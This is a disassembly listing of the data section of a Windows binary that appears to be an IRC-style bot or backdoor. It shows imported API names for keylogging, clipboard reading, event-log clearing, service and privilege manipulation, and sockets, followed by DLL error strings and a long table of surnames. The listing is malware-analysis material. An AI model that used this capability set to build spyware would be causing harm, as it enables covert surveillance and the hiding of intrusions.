'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4097DE+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4097DE+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4097DE+853o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4097DE+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4097DE+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4097DE+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4097DE+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4097DE+812o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4097DE+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4097DE+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4097DE+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4097DE:loc_409FBDo aClosesocket db 'closesocket',0 ; DATA XREF: sub_4097DE+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4097DE+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4097DE+68Co align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4097DE+67Fo align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_4097DE+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4097DE+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4097DE+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4097DE+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_4097DE+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_4097DE+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_4097DE+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4097DE+617o align 10h aRecv db 'recv',0 ; DATA XREF: sub_4097DE+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4097DE+5FDo align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4097DE+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4097DE+5D6o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4097DE+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4097DE+5BCo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4097DE+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4097DE+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4097DE+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4097DE+588o aSocket db 'socket',0 ; DATA XREF: sub_4097DE+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4097DE+56Eo align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4097DE+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4097DE+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4097DE+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4097DE+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4097DE+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4097DE+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4097DE+514o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4097DE+4A1o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4097DE+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4097DE+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4097DE+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4097DE+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4097DE+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4097DE+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4097DE+446o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4097DE+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4097DE:loc_409C0Bo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4097DE:loc_409BE3o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4097DE+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4097DE+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4097DE+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4097DE+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4097DE+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4097DE+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4097DE+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4097DE:loc_409B35o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4097DE+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4097DE+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4097DE:loc_409AF0o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4097DE+2C6o align 10h aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4097DE+2B9o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4097DE+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4097DE+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4097DE+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4097DE+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4097DE+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4097DE+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4097DE:loc_409A3Do align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4097DE+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4097DE+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4097DE+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4097DE:loc_4099D6o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4097DE+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4097DE+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4097DE+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4097DE+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4097DE+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4097DE+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4097DE+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4097DE+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4097DE:loc_409913o ; sub_425448+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4097DE:loc_4098E6o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4097DE+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4097DE+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4097DE+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4097DE+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4097DE+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4097DE+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4097DE+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4097DE+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4097DE+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4097DE+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4097DE+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4097DE+Ao align 4 dword_42FEEC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_40A49A+2F2o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1DllTestComple db '1 DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+90o ; .XPack0:004355C4o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+28o align 4 a_: ; DATA XREF: sub_40EA40+13o ; sub_41061F+24Co unicode 0, <.>,0 unk_430098 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A8CEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_4300C8 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A89Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_4300F8 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A852o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_43011C db 2Dh ; - ; DATA XREF: sub_40A7FD+45o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A8D5+46o ; sub_40C138+38o ... align 8 dword_430158 dd 6C616572h dd 2 dup(0) dword_430164 dd 0 off_430168 dd offset sub_40A97E ; DATA XREF: sub_40AD20+4Dr aConst db 'const',0 align 8 dd 1, 40A9EAh, 7474656Ch, 7265h, 0 dd 2, 40AA48h, 706D6F63h, 2 dup(0) dd 3, 40AA95h, 6E756F63h, 797274h, 0 dd 4, 40AB04h, 736Fh, 2 dup(0) dd 5, 40AB79h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AD8Dh, 0 off_4301E8 dd offset aAbdulrazak ; DATA XREF: sub_40A97E+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" 